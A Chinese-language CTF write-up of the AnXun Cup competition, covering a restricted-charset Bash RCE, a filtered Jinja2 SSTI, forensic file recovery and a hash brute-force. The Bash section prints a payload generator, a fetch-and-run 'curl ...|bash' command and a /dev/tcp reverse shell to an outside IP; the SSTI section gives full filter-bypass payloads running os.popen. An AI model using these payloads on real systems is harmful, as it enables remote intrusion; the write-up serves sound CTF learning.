emmm,这个比赛是被某个好家伙安利的,那时候也没多想,就自己报名稍微的玩了一会儿。结果…emmm,差点就打进线下了。(队排名24,个人排名17,差100来分进线下/(ㄒoㄒ)/~~)

安洵杯CTF


WEB:

Bash:

​ 题目界面直接给了源码,源码简单易懂:

<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

​ 简单来说即是一个无回显的RCE,但是只允许以下的字符:

$ { # } \ ( < ) ' 0

​ 实际上是特殊符号的bash的shellcode,题目给了提示说执行代码使用的是bash,那么这里可以用以下的语句来拼凑10

# 简单的拼凑 1 和 0
$(($$>0)) #1
0 #0
${##} #1
$# #0

​ 通过bash特有的进制转换来拼凑任意数字:

# 原语句 ( 任意进制数字转换十进制 )
$(([base]:[number]))
# 2进制转换10进制数字
$((2#1100001)) #97
# 使用允许的字符进行构造
$((${##}<<${##})) # 2
$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##})) # 141

​ 但是现在光构造数字肯定是不够的,还得构造响应的字符才能够执行命令,这个时候可以构造形如以下的语句:

# 16进制转换字符
echo $'\x61\x62\x63' # abc
echo $'\x31\x32\x33' # 123

# 或是8进制转换字符
echo $'\061\062\063' # 123
echo $'\141\142\143' # abc

​ 由于上边所能用的白名单为 $ { # } *\* ( < ) 0,所以只能够使用8进制来进行构造字符,再结合上边的拼凑数字法,可以简单的拼凑一些字符,比如:

\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\' #ls

​ 这个 ls 并不能够直接使用,并且还需要 *\* 来进行一些与必要的转义,得到如下结果:

image-20201125225359526.png

​ 然后这个应该如何用呢,可以由于只是简单的一条指令,可以直接使用 <<< 将其作为输入,传入bash中:

符号 说明
<<< 三个小于号(here-strings)。Here-字串和Here-document类似,here-strings语法:command [args] <<<["]$word["];$word会展开并作为command的stdin。

​ 这样就可以执行 ls 命令了:

image-20201125225512383.png

​ 但这样只能够执行单命令,无法加上参数:

image-20201125230902879.png

​ 那么再多加一层bash就好了,比如执行 ls -al /

image-20201125230444172.png

​ 这里可以贴一个小脚本:

cmd = """ls -al /"""
payload = r"${0}<<<${0}\<\<\<"
payload += r"\$\'"
for c in cmd:
    payload += r"\\"
    payload += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[1:]))[2:]:
        if binchar == '1':
            payload += r"${##}"
        else:
            payload += r"0"
    payload += r"))"
payload += r"\'"

print payload

​ 其中由于 bash 这几个字符是不在白名单内的,但是可以用${0}来获取当前运行的文件名(在Linux中一切皆文件),也就是 bash ,然后可以在自己的服务器上弄一个 index.html ,里边写上反弹shell:

bash -c "bash -i >& /dev/tcp/175.24.114.225/3999 0>&1"

​ 之后只需要构造一个如下语句就行了:

curl 175.24.114.225|bash

​ 使用脚本后,得到以下结果:

${0}<<<${0}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}000${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0000${##}${##}))\\$(($((${##}<<${##}))#${##}00000${##}))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}000000))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}000000))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}${##}${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}00000${##}))\\$(($((${##}<<${##}))#${##}0${##}0${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\\$(($((${##}<<${##}))#${##}00${##}0${##}${##}0))\'

​ 简单的复现一下:

image-20201126100023686.png

​ 这样就能够弹个shell了,最后在题目的 /flag 得到了flag:

image-20201126101013816.png


normal-ssti:

​ 显而易见这是一个关于 ssti 的题目,在 /test?url= 这里存在可利用点,不过题目把 g/G 给ban了,但可以用8进制来显示这个字符:

http://47.108.162.43:30144/test?url={%print(%22\147dlyyds!!!%22)%}

image-20201126101430297.png

​ 接下来是看过滤了啥了,简单的用 burpsuite 进行fuzz了一下,发现这些字符都被过滤了:

image-20201126101542894.png

​ 看得出来一些可被 ssti 利用的关键的字符比如下划线 **’_’**,点 **’.’**, 以及 ‘[‘ ‘]’ 都被过滤了,但是总有办法绕过的,比如可以先绕 点 ‘.’ ,可以用 attr() 来绕过,而下划线 **’_’**, 可以用8进制字符来绕过:

http://47.108.162.43:30144/test?url={%print(dict|attr("\137\137class\137\137"))%}

​ 这样就可以可以相当于 dict.__class__

image-20201126102429360.png

​ 至于 ‘[‘ ‘]’ 这个可以用 __getitem__ 来绕过,可以这样拼:

# 比如要拼 xxx["__builtins__"]["eval"]
# 相当于 xxx.__getitem__("__builtins__").__getitem__("eval")
xxx|attr("\137\137\147etitem\137\137")("\137\137builtins\137\137")|attr("\137\137\147etitem\137\137")("eval")

​ 这里就可以套一些python3的 ssti payload了,比如下面这个:

"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

​ 得到以下结果:

{%print(dict|attr("\137\137class\137\137")|attr("\137\137mro\137\137")|attr("\137\137\147etitem\137\137")(-1)|attr("\137\137subclasses\137\137")()|attr("\137\137\147etitem\137\137")(117)|attr("\137\137init\137\137")|attr("\137\137\147lobals\137\137")|attr("\137\137\147etitem\137\137")("\137\137builtins\137\137")|attr("\137\137\147etitem\137\137")("eval"))%}

​ 然而,就是这里!出现了如下情况,说是找不到 __globals__ ,并且还显示了 debug 页面:

image-20201126104036913.png

​ 就F12看了下版本,emmm,这是 py39 的,可能 index 不太对:

​ (题外话,就是这里显示的 debug 界面,我还以为说是它过滤得非常严格只能够读文件,不能够直接用 ssti 来执行命令啥的,就以为说是构造pin码然后用 debug 的交互来执行命令,结果最后给了Longlone一个 evalpayload,结果…. 拿了个2血,实际上是可以直接用 ssti 执行命令读 flag 的)

image-20201126104146555.png

​ 既然是 py39 ,刚好装了一样的版本的环境,那就随便写个脚本来找正确的 index 呗:

# 傻瓜式脚本
f = "".__class__.__mro__[-1].__subclasses__()

for each in range(len(f)):
    i = f[each].__init__
    try:
        i.__globals__
        print(each)
    except AttributeError:
        pass
    

​ 得到结果:

image-20201126104622970.png

​ OK,把 __subclasses__index 改成上边任意一个即可,比如改成 80

http://47.108.162.43:30144/test?url={%print(dict|attr("\137\137class\137\137")|attr("\137\137mro\137\137")|attr("\137\137\147etitem\137\137")(-1)|attr("\137\137subclasses\137\137")()|attr("\137\137\147etitem\137\137")(80)|attr("\137\137init\137\137")|attr("\137\137\147lobals\137\137")|attr("\137\137\147etitem\137\137")("\137\137builtins\137\137")|attr("\137\137\147etitem\137\137")("eval"))%}

​ 成功定位到了 eval

image-20201126104750578.png

​ 这就简单了,可以直接用 os.popen 执行命令:

http://47.108.162.43:30144/test?url={%print(dict|attr(%22\137\137class\137\137%22)|attr(%22\137\137mro\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(-1)|attr(%22\137\137subclasses\137\137%22)()|attr(%22\137\137\147etitem\137\137%22)(80)|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22\137\137builtins\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22eval%22)(%22\137\137import\137\137(\047os\047)\056popen(\047id\047)\056read()%22))%}

​ 得到… 一个root?

image-20201126105107898.png

​ 好吧,无伤大雅,先 **ls -a /**:

http://47.108.162.43:30144/test?url={%print(dict|attr(%22\137\137class\137\137%22)|attr(%22\137\137mro\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(-1)|attr(%22\137\137subclasses\137\137%22)()|attr(%22\137\137\147etitem\137\137%22)(80)|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22\137\137builtins\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22eval%22)(%22\137\137import\137\137(\047os\047)\056popen(\047ls\040-a\040/\047)\056read()%22))%}

​ 这里看到了 flag

image-20201126105322618.png

​ 其中 flag 被过滤了,那直接用8进制绕过读就好了:

http://47.108.162.43:30144/test?url={%print(dict|attr(%22\137\137class\137\137%22)|attr(%22\137\137mro\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(-1)|attr(%22\137\137subclasses\137\137%22)()|attr(%22\137\137\147etitem\137\137%22)(80)|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22\137\137builtins\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22eval%22)(%22\137\137import\137\137(\047os\047)\056popen(\047cat\040/\146\154\141\147\047)\056read()%22))%}

​ 最后得到 flag

image-20201126105513128.png

​ emmm这题差点拿了一血,啊啊啊 泪目~:

QQ图片20201218172344.png


MISC:

签到:

​ 点开题目,得到一个网盘链接和密码:

image-20201126105632689.png

​ 内容是一个二维码图片,注意这个文件名 大声说出fl4g.jpg

image-20201126105738891.png

​ 扫码后发现是一个公众号,关注这个公众号发 fl4g ,得到一个链接:

image-20201126105923428.png

​ 打开后得到一个docx文件:

image-20201126110059815.png

​ 里边的内容:

image-20201126110123510.png

​ 结合公众号所给的提示 很基础编码、就给100分 得出,这个应该是一个 base100编码https://github.com/AdamNiederer/base100),拿去解码就行了:

image-20201126110326068.png


王牌特工:

​ 还是给了个网盘链接:

image-20201126110602471.png

​ 下载下来后用 file findme 发现是一个 ext3 的文件系统:

image-20201126110742553.png

​ 使用以下命令将其挂载 mount -t ext3 /tmp/findme /opt/findme,然后简单的看了以下,发现这个似乎是使用了 Veracrypt 进行加密:

image-20201126111143116.png

​ 尝试使用 a_cool_keyflagbox 进行解密:

image-20201126111300340.png

​ 发现并不太行,得到了一个 fakeflag :

image-20201126111352096.png

​ 怀疑可能要对这个文件系统进行文件恢复,使用 ext3grepext3grep --list --inode 2 /tmp/findme 命令查看这个文件系统:

image-20201126111611455.png

​ 发现两个被删的文件,那就使用 ext3grep --restore-all /tmp/findme 进行恢复就好了:

image-20201126111801637.png

​ 得到一串base64编码:

image-20201126111825531.png

​ 简单解码,得到了真的密码:

image-20201126111938988.png

​ 使用这个密码去解密,得到 flag

image-20201126112058386.png


CRYPTO:

密码学?爆破就行了:

​ 只能说这个很简单,有手就行咯,贴一下题目内容:

#!/usr/bin/python2
import hashlib 
from secret import SECRET
from broken_flag import BROKEN_FLAG

flag = 'd0g3{' + hashlib.md5(SECRET).hexdigest() + '}'
broken_flag = 'd0g3{71b2b5616**2a4639**7d979**de964c}'

assert flag[:14] == broken_flag[:14]
assert flag[16:22] == broken_flag[16:22]
assert flag[24:29] == broken_flag[24:29]


ciphier = hashlib.sha256(flag).hexdigest()
print(ciphier)


'''
ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
'''

​ 解题脚本,是个人都能写的简单脚本:

from hashlib import sha256

flag = 'd0g3{71b2b5616%s%s2a4639%s%s7d979%s%sde964c}'
b = '0123456789abcdef'

for a1 in b:
    for a2 in b:
        for a3 in b:
            for a4 in b:
                for a5 in b:
                    for a6 in b:
                        if(sha256((flag%(a1,a2,a3,a4,a5,a6)).encode()).hexdigest() == '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'):
                            print(flag%(a1,a2,a3,a4,a5,a6))
                            break

​ 得到 flag

image-20201126112449035.png


来个后记吧

最终战绩:

QQ图片20201218172421.png

emmm,排名忘记截图了,反正是队排名24,个人排名17。。。 还是太菜了≧ ﹏ ≦